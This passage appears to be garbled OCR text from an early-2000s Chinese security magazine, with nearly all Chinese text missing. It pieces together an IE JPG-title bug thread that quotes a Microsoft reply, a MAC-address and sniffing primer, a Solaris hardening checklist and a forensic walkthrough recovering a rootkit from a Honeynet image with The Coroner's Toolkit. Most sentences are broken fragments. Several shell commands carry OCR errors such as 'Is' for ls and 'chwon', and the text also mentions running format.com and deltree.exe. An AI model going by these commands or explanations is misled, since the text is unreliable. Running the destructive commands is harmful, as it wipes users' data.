, html IE
-Jpg
Scott
24/07/01
5:
.JPG , " 1E Windows title” ,

-Jpg

(http://member.netease.com/~zds/ie_bug.jpg )

IE .jpg " IE title”
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» "_.‘_‘{ﬁ :“;__\_'?"'T:j 1‘:‘:'-._“.?:': NN L

- Sl langgean SHTHM TN g | )
| BRI ot .'u. -

JS  JPG IE title “ I' am Chinese!”
Crazybird
25/7/01
Hi -
. ActiveX
Javascript web javascript
. Microsoft
javascript
. IE Javascript
IE
Scott
25/7/01
7.26
Hi -
IE -irg
. IE
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° -ipg
-Jpg

-pg

Scott
26/7/01

“ As a result, we believe that there is not a security vulnerability.”

GOOD

crazybird
26/7/01
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f | a. Lx; L,
) e

2001.7.26 www.securityfocus.com  BUGtraq

, 1 Microsoft
Security Response Center BUGtraq

Hi All -

* javascript 2000 10
Microsoft Security Bulletin MS00-075
(http://www.microsoft.com/technet/security/bul letin/MS00-075.asp).

* .txt, . jpg IE
* X, . jipg
IE .txt
IE IE
*  email
Scott Culp
Security Program Manager
Microsoft Security Response
Center
1 format.com
deltree.exe format.com format_0.com
2


http://www.securityfocus.com/
http://64.4.8.250/cgi-bin/linkrd?_lang=EN&lah=978e2a55d91eca3fb0755b7a365ec75d&lat=996597564&hm___action=http%3a%2f%2fwww%2emicrosoft%2ecom%2ftechnet%2fsecurity%2fbulletin%2fMS00%2d075%2easp

(http://crazybird.51_net/look._htm)

.htm
" ActiveXx"
ActiveX
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ADMINISFRATOR CLUB

. : ? DFArTiST

1
Sniff
" " promiscuous mode
2.
@
MAC
(@) MAC

MAC Media Access Control.
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ADMINISFRATOR CLUB

modem
MAC 6 16
MAC
TCP/I1P
, )
"NetBEUI"
Raw

Usert |- ——| B @1 Itemat | Usarks

| - — — _

I — — — —

WS

UserA 1P - 10.0.0.23
UserB IP - 192.168.100.54

UserA UserB

IP
1P
IP

UserA
UserA
H & MAC
BMAC
0800
IF@
CRCH E

0Sl1 7-Layer Model

TCP/1IP (
TCP/IP
Raw
UserA 10.0.0.23 192.168.100.54
UserA
UserB IP UserA
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ADMINISFRATOR CLUB

UserA 100
20 IP 20 TCP 60
, 14 MAC MAC

TCP/IP 4

MAC MAC
4 0x8000
(3). MAC

MAC 48 48
24
MAC
24
Organizationally Unique ldentifier
oul 22
MAC
MAC 03 00 00 00 00 01
00000011
“ NetBEUI"
TCP/1P
©) MAC
Win9x:
Win9x "winipcfg.exe"
WIENnNT:
"ipconfig Zall”
MAC

Windows 2000 IP Configuration

Host Name . . . . . . . . . . . . : bigball
Primary DNS Suffix . . . . . . . :

Node Type . . . . . . . . . . . . - Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . 2 No

68

0x0800
CRC CRC

14

24
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ADMINISFRATOR CLUB

Ethernet adapter

Connection-specific DNS Suffix

Description . . . . . . .. . .. : Legend/D-Link DFE-530TX PCI Fast Eth
ernet Adapter (Rev B)

Physical Address. . . . . . . . . : 00-50-BA-25-5D-E8

DHCP Enabled. . . . . . . . . . . : No

IP Address. . . . . . . . . . . . :192.168.10.254

Subnet Mask . . . . . . . . . . . :255.255.128.0

Default Gateway . . . . . . . . . - 192.168.10.3

Ethernet adapter SC12001:

Description . . . . . . . . : DEC DC21140 PCI Fast Ethernet
Linux
“ ifconfig”
eth0 Link encap:Ethernet HWaddr 08:00:17:0A:36:3E
inet addr:192.0.2.161 Bcast:192.0.2.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1137249 errors:0 dropped:0 overruns:0
TX packets:994976 errors:0 dropped:0 overruns:0
Interrupt:5 Base address:0x300
Solaris
5) MAC
WinNT  Unix "arp -a"
(6) MAC
MAC
MAC
s MAC
EEPROM MAC
MAC
1.
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ADMINISFRATOR CLUB

DNS 1P

ping

Q). IP 10.0.0.1 MAC
00-40-05-A4-79-32.

).

?3). MAC 00-40-05-A4-79-33.

4). ping ping IP

(5). MAC

MAC
(6). MAC

MAC Windows MAC
MAC MAC FF-00-00-00-00-00
FF-FF-FF-FF-FF-FF
MAC
"flood"

Linux Windows

Loading ...
FUFiR

Klhsiangmaant i
L B TR R TS : i

http://bigball.xici.net
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ADMINISFRATOR CLUB

Solaris

solaris

patch

http://sunsolve.sun.com solaris
showrev -p [ ]

/var

Ivar logfile
Ivar root
dos

Ivar

eeprom

openboot
none
command boot go
Full go openboot openboot
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ADMINISFRATOR CLUB

# eeprom security-mode=command openboot command
# eeprom security-password openboot
openboot scsi
cdrom
stop-A openboot
[etc/system

set sys:coredumpsize = 0

disable-core.sh

system accounts

/etc/passwd shell noaccess:x 60002:60002:No Access
User:/:/sbin/noshell
noshell.c
#include <stdio.h>
void main() {
printf(“sorry!no shell with this account\n");
return O;
}
gcc -0 ./noshell ./noshell. c
cp /sbin/noshell /sbin/noshell.solaris
cp ~/noshell /sbin/noshell
/etc/shadow NP

sys V unix
bin, daemon,adm, Ip,smtp,sys, uucp,nuucp,nobody,noaccess
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ADMINISFRATOR CLUB

solaris
npasswd passwd

/etc/default/passwd
PWMIN= 1 #

/etc/default/passwd
PWMAX= 13 #

/etc/default/passwd
PWWARN= 4

/etc/default/passwd
PWLEN= 8 # 8

npasswd
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ADMINISFRATOR CLUB

r oot

/etc/default/login
LCONSOLE=/dev/console # root /dev/console

r oot

/etc/default/login
LSYSLOG= YES #syslog root

/etc/default/login
LTIMEOUT= 120

/etc/default/login
LUMASK= 027 # 750 /etc/ login /etc/profile
/etc/skel/local .cshrc /etc/skel/local . login /etc/skel/local .profile

root umask

root umask 027 077
root .profile
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ADMINISFRATOR CLUB

/etc/default/login
LPASSREQ= YES

shell

/etc/default/login
LALTSHELL= YES

/etc/passwd;/etc/shadow
user:IRs.8RIEFQXx.:11137:0:10000::::

path “

root path .
/.login /etc/.login /etc/default/login /.cshrc /etc/skel/local.cshrc
/etc/skel/local . login /etc/skel/local .profile /.profile /etc/profile

su su sugroup

1 /etc/group

2 admin

3 /bin/su r-sr-sr-x 1 root sugroup
# chmod 550 /bin/su
# chmod +s /bin/su
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ADMINISFRATOR CLUB

# chown root:sugroup /bin/su
# Is -al /bin/su

-r-sr-s--- 1 root sugroup 18360 Jan 15 1998 /bin/su
# grep sugroup /etc/group

sugroup: :600:root, httpadm,wsphere

sugroup su

inetd

grep -v “M"/etc/inetd.conf
tcp_wrapper

inetd TCP wrapper

tcpd /usr/local/bin /etc/inetd.conf
ftp stream tcp nowait root /usr/local/bin/ tcpd in.ftpd
telnet stream tcp nowait root /usr/local/bin/ tcpd in.telnetd

inetd

/etc/hosts.deny /etc/hosts.allow
/etc/hosts.deny
ALL:ALL

/etc/hosts.allow
<service>:<source-ip>

xinetd
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ADMINISFRATOR CLUB

xinetd inetd xinetd inetd
rc.X
mv
mv /etc/rc3.d/S92volmgt /etc/rc2.d/not_usedS92volmgt
viomgt
snmpdx
autofs(Automounter)

volmgt(Volume Deamon)
Ipsched(LP print service)
nscd (Name Service Cache Daemon)

Sendmail
Keyserv
rpcbind
rc.X
DMI
dmi mv /etc/rc3.d/S??dmi /etc/rc3.d/D??2dmi
DMI /etc/init.d/init.dmi bin
/usr/lib/dmi/dmispd

/usr/lib/dmi/snmpXdmid
/etc/dmi/ciagent/ciinvoke

mounting suid features

/etc/rmmount.Conf
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ADMINISFRATOR CLUB

mount hsfs -o nosuid
mount ufs -0 nosuid

-rhosts

.rhosts
.rhosts

rhosts

/etc/pam.conf
rlogin auth sufficient /usr/lib/security/pam rhosts auth.so.1l
rsh
rsh auth required /usr/lib/security/pam unix.so.l

pam-rhosts-2. 6.sh

/etc/hosts.equiv

rc.X S0Oumask
/etc/rc0.d/S00umask.sh
/etc/rcl.d/S00umask.sh
/etc/rc2.d/S00umask.sh
/etc/rc3.d/S00umask.sh
/etc/rcS.d/S00umask.sh
/etc/init.d/umask
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add-umask.sh

ARP

/etc/rc2.d/S??inet
ndd -set /dev/arp arp_cleanup_interval 60000 /* 1 min (default is 5 min)*/

arp-table

/etc/rc2.d/S??inet

ndd -set /dev/ip ip_ire_flush_interval 60000 /* 1 min (default is 20 min)*/

ping

/etc/rc2.d/S??inet
ndd -set /dev/ip ip_respond_to_echo_broadcast O # default is 1

/etc/rc2.d/S??inet
ndd -set /dev/ip ip_forward src_routed 0 # default is 1

ip

/etc/rc2.d/S??inet
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ndd -set /dev/ip ip_forwarding O # default is 1

ip

/etc/rc2.d/S??inet
ndd -set /dev/ip ip_ignore_redirect 1 # default is 0
(adds it into /etc/init.d/nddconfig)

/etc/rc2.d/S??inet
ndd -set /dev/ip ip_strict dst multihoming 1 # default is 0
(adds it into /etc/init.d/nddconfig)

icmp

/etc/rc2.d/S??inet
ndd -set /dev/ip ip_respond_to_address_mask_broadcast= 0 # default is 0
(adds it into /etc/init.d/nddconfig)

icmp

/etc/rc2.d/S??inet
ndd -set /dev/ip ip_ip_respond_to_timestamp= 0 # default is 1
(adds it into /etc/init.d/nddconfig)

icmp

/etc/rc2.d/S??inet
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ndd -set /dev/ip ip_ip_respond _to timestamp broadcast= 0 # default is 1
(adds it into /etc/init.d/nddconfig)

icmp

/etc/rc2.d/S??inet
ndd -set /dev/ip ip_send_redirects= 0 # default is 1
(adds it into /etc/init.d/nddconfig)

TCP

/etc/default/inetinit
TCP_STRONG_1SS= 2

in.routed

in.routed -q( )
mv /usr/sbin/in_routed to /usr/sbin/in.routed.orig
/usr/sbhin/in.routed
#1 /bin/sh
/usr/shin/in.routed.orig -q

chmod 0755 /usr/sbin/in.routed

#
route

touch /etc/notrouter
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1. NFS
NFS
DMZ NFS
/etc/dfs/dfstab
NFS lockd, nfsd, statd, mountd
NFS /etc/rc3.d/5??nfs.server /etc/rc2.d/5??nfs.client
NFS tcp

ndd -set /dev/tcp tcp_extra priv_ports_add 2049

NFS udp

ndd -set /dev/udp udp_extra_priv_ports_add 2049

NFS

/etc/system
set nfssrv: nfs_portmon = 1
set nfs: nfs_portmon = 1

/etc/system 644
# chmod 644 /etc/system

nfs
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nfsd
mountd
rpc.boot
in.rarpd
rpld

2. NISNIS+

NIS,NIS+

NIS,NIS+
/etc/domainname
NIS
# pkginfo |grep NIS
# pkgrm <NIS-Package>
system SUNWypr NIS Server for Solaris (root)
system SUNWypu NIS Server for Solaris (usr)

NIS,NIS+,DNS Lookup

/etc/nsswitch.conf
passwd: files
group: files
hosts: files
networks: files
protocols: files
rpc: files
ethers: files
netmasks: files
bootparams: files
publickey: files
netgroup: files
automount: files
aliases: files
services: files
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sendmailvars: files
dns

3. MAIL

25 sendmail

sendmail sendmail
sendmail.cf
mv /etc/rc2.d/S88sendmail /etc/rc2.d/not_usedS88sendmail

/ect/aliases | #

sendmail expn vrfy

/etc/senmmail.cf 25 expn vrfy
# 0 PrivacyOptions=authwarnings, goaway
Opgoaway

# 0 PrivacyOptions=noexpn, novrfy, authwarnings
0 LogLevel=5

smtp

/etc/mail/sendmail.cf smtp
# SMTP login message

root /usr/local/forward/ . forward.$u
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/etc/sendmail.cf
0 ForwardPath=/usr/local/forward/.forward.$u
/usr/local/forward

25 Spam
smtpd/smtpfwdd anti-spam

4.FTP

FTP

/etc/defaul t/ftpd ftp
UMASK= 077
BANNER="/bin/cat /etc/ftp-banner"
/etc/defaul t/ftpd
chmod 644 /etc/default/ftpd

ftp

/etc/ftp-banner
This system is for authorized users only. Monitoring may occur
/etc/ftp-banner
chmod 644 /etc/ftp-banner

/etc/ftpusers

/etc/ftpusers

root daemon sys bin adm Ip smtp uucp nuucp listen
nobody noaccess news ingres audit admin sync nobody4
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/etc/Ttpuser
chmod 644 /etc/ftpusers

5. TELNET

telnet

/etc/default/telnetd
Banner=""
/etc/default/telnetd
touch /etc/default/telnetd
echo "BANNER=\"\"">> /etc/default/telnetd
chmod 444 /etc/default/telnetd

X-Windows

CDE XDMCP

/usr/dt/config/Xaccess
cat <<EOF >/usr/dt/config/Xaccess
# disable all XDMCP connections
1%
EOF

/etc/dt/config/Xaccess
cat <<EOF >/etc/dt/config/Xaccess
# disable all XDMCP connections

1*

EOF

suid
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solaris suid root
1 suid
2 /opt/backup/usr/local/bin
3 suid
4 tar find
5
6 suid s
7 suid passwd su
8 find

find / -type f\( -perm -4000 \) |xargs Is -a
find / -type f\( -perm -4000 \) |xargs chmod -s

/etc

/etc
find /etc -type f\( -perm 20 \) | xargs Is -las

find /etc -type f\( -perm 20 \) | xargs chmod g-w

letc

/etc
find /etc -type f\( -perm 2 \) | xargs Is -las

find /etc -type f\( -perm 2 \) | xargs chmod g-w

r'w-rw-rw Frw-r-r-

find / -type T -perm 666 |xargs Is -al > perm-666-before-change.txt
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find / -type T -perm 666 |xargs chmod 644
find / -type T -perm 666 |xargs Is -al > perm-666-after-change.txt

' WXrwx???

find / -type T -perm 777 |xargs Is -al > perm-777-before-change.txt

find / -type T -perm 777 |xargs chmod 755
find / -type T -perm 777 |xargs Is -al > perm-777-after-change.txt

find / -type d\( -perm 2 \)

root

find /etc -type T -print | grep rc | egrep -v "skel|tty|mail|snmpMail™ | xargs Is
-al > rc-files-before-change.txt

find /etc -type T -print | grep rc | egrep -v "skel |tty|mail|snmp|Mail™ | xargs chown
root:root
find /etc -type T -print | grep rc | egrep -v "skel|tty|mail|snmp|Mail™ | xargs Is
-al > rc-files-after-change.txt
Is -al /etc/ init. d > etc-init.d-before.change.txt
chown root:root /etc/ nit.d
Is -al /etc/init.d > etc-init.d-after-change.txt
rcX.d root /etc/init.d
root
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cron

/etc/default/cron
CRONLOG=YES

utmp,utmpx

/var/adm
find /var/adm -type f\( -perm 2 \) | xargs Is -las

chmod 644 /var/adm/utmp

find / -type f -nouser
1) find / -type f -nouser > files-nouser-before-change

2) find / -type T -nouser | xargs chwon nobody:nobody
3) find / -type f -nouser > files-nouser-after-change

find / -type T -nogroup
1) find / -type T -nogroup > files-nogroup-before-change

2) find / -type T -nogroup | xargs chgrp nobody
3) find / -type T -nogroup > files-nogroup-after-change

/var/cron
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/etc/cron root, Sys :
chmod 700 /var/cron && chown root /var/cron && chgrp sys /var/cron

cronlogfile 2m

/etc/cron.d/logchecker
LIMIT=4096

inetd

/etc/init.d/inetsvc
/usr/sbin/ifconfig -au netmask + broadcast +
/usr/ bin/inetd -s -t
named,dhcpd, multicast

syslog.conf

/etc/syslog.conf

*_.debug /var/adm/compass .messages
tripwire
tripwire md5
6 tripwire
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IDS

snort
- cgi-scan
- portscans
- virus
/root/config/snort.rules

swatch

swatch

- /var/adm/compass.messages
- /var /adm/snort_portscan.log
- /opt/AppServer/WebSphere/log/????

Swatch perl PERL MODULES
telnet ssh
openssl,openssh telnetd
/etc/default/telnetd banner
BANNER="....."
/etclissue

security report
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RecoverNT Basic Root Dir
Searched Root Dir Garbage Dir Total Dir
ALl Files( NTFS)

RecoverNT R4A
RecoverNT

Original Root Directory
Normal Directory
Garbage Root Directory
Garbage Directory

#
Renamed Garbage Directory
6 Analyzed Garbage Directory
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7 File

8 Error File
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10 Deleted File
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12 Saved File
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Tiramisu Norton Utilities diskman
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TCT
Unix TCT
ext2
1.The Coroners Toolkit:
TCT
(http://xfocus.org/tool/other/tct-1.07.tar.gz)
FFS ext2fs
(MAC)
2.Tctutils:

http://xfocus.org/tool/other/tctutils-1.01.tar.gz

3.Autopsy Forensic Browser:
http://xfocus.org/tool/other/autopsy-1.01.tar.gz
TCT  Tctutils

[ inburst

TCT

Honeynet Project

Recover

Unix

TCT

Html

TCT Unix FreeBSD OpenBSD
SunOS  Linux Tctutils  Autopsy
Red Hat 6.2
1TCT
# tar zvfx tct-1.07.tar.gz -C /usr/local/tct/; cd /usr/local/tet/tet* ; make
TCT {usr/local/tct/tct-1.07/ make make
perl reconfig
2TCTUTILS

# tar zvfx tctutils-1.01.tar.gz -C /usr/local/tct;cd /usr/local /tet/tctu* ;make
tctutils OpenBSD 2.8 DebianLinux 2.2 Solaris2.7
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FreeBSD make Makefile

3.Autopsy
Jconfigure ,  Grep Strings Md5sum
tct tctutils ( , )
Autopsy
, Honeynet scan15
1 Honeynet scanl15
Honeynet project (http://xfocus.org/honeynet/)
Honeynet
Scanl5 Honeynet 2001 3 15 Linux
Rootkit Honeynet Project
Rootkit
http://xfocus.org/honeynet/scans/
honeynet.tar.gz 13M 270M
honeypot.hda8.dd Readme Readme

SUMMARY

You have download the / partition of a compromised RH 6.2
Linux box. Your mission isto recover the deleted rootkit
fromthe/ partition. Below arealist of all the partitions
that made up the compromised system.

/dev/hda8 [ < The partition you downloaded
/dev/hdal /boot

/dev/hdab /home

/dev/hdab fusr

/dev/hda7 Ivar

/dev/hda9 swap

- The Honeynet Project
http://project.honeynet.org
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# md5sum honeynet.tar.gz

Odff8fb9fe022ea80d8f ladedae33e21 honeynet.tar.gz

# md5sum honeypot.hda8.dd

5aBebf5725h15e563c825be85f 2f852e honeypot.hda8.dd
md5 honeynet

2 .
# mount honeypot.hda8.dd /mnt/ -oloop,ro
3 . autopsy ( autopsy  configure

[root@test autopsy-1.01]# ./configure
Autopsy Forensic Browser v.1.01 Installation

MD?5 found: /usr/bin/md5sum
strings found: /usr/bin/strings
grep found: /bin/grep
Enter TCT Directory:
lusr/local/tct

TCT bin directory was found
Enter TCTUTILs Directory:
lusr/local/tctutils

TCTUTILs bin directory was found
Enter Morgue Directory:
/home/inburst
Enter Default Investigator Name (for the Autopsy Reports):
inburst
Settings saved to conf.pl
[root@test autopsy-1.01]#

/home/inburst/ honeypot.hda8.dd fsmorgue,

# fsmorgue file for Autopsy Forensic Browser

#

#loca_file name can contain letters, digits, -, ' ', and "'
#

#loca_file mount_point

honeypot.hda8.dd /mnt/
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zoneinfo
# .Jautopsy 9999 192.168.168.130
192.168.168.130 9999

Autopsy Forensic Browser ver 1.01
Investigator: inburst

Paste this as your browser URL on 192.168.168.130:
192.168.168.130:9999/1727589285/autopsy

192.168.168.130:9999/1727589285/autopsy URL
4 . Rootkit Autopsy
1

#ils honeypot.hda8.dd > il sdump.txt

# cat ilsdump.txt

clasglhost|devicelstart_time

ilgtest.inburst.com.cnjhoneypot.hda8.dd|992134159

st_ino|st_alloc|st_uid|st_gid|st_mtime|st_atime|st_ctimelst_dtime|st_modejst_nlink|st_sizelst_blo
ckOlst_block1

23)f|0]0]984706608|984707090|984707105|984707105|100644|0|520333|307|308

2038Jf|1031/100]984707105|984707105|984707105|984707169|40755|0[0|8481|0

Ils Inode

L O e
-:’I:I:IHI_E-_?I\_'I.]_ } ) I '_,::'{' -] L
O :

‘? s BRREABEEE ga |
D TCTSRRERHOFRL . G T

L P *i:-"'
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Jast Ik.tgz

Rootkit

#find /mnt -type f -exec md5sum {} \; > md5.all

Mount
md>5.all Rootkit

V7 Loading... L

:ﬁﬂMhnmmmmﬁiﬂliﬁdlhﬂﬂﬂ * \
'uﬂFTETIF?IIHE!?HﬁﬁinimU . '

o

/dev/ida/.. /
/dev/ida/ .drag-on/

Honeynet

Recover
TCT , “ §
http://xfocus.org/tool/other/recover-1.2_tar
./recover 0K

——
DEFEMCE DEFEMCE

Md5sum Hash

Rootkit

ext2
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911

DFArTisT discovery channel “ ”
13 ” 1972 1
911
DFArTIST
DfArTIsT:
7
Zip VB

6.0 ? IP?

DfArTisT

.Zip Winzip VB 6.0

IP QQ IP

www.dangdang.com

DfArTiST
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www.dangdang.com

http://www.vertarmy.org
http://www.cnhonker.com
http://www.cnhonker.net
http://www.cnhonker.org
WWW.sunnet.org irc irc.sunnet.org
#ishase ( ) #cnhonker ( )
Bright
4
10 20
goodwell
15
g:16725574
IBM PC
Bright
bright
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2 9 6.80

QQ68626982

QQ
http://cgi.pcfriend.com.cn/vbb/ E-mail

wzh4l7@263.net  hacker@pcfriend.com.cn
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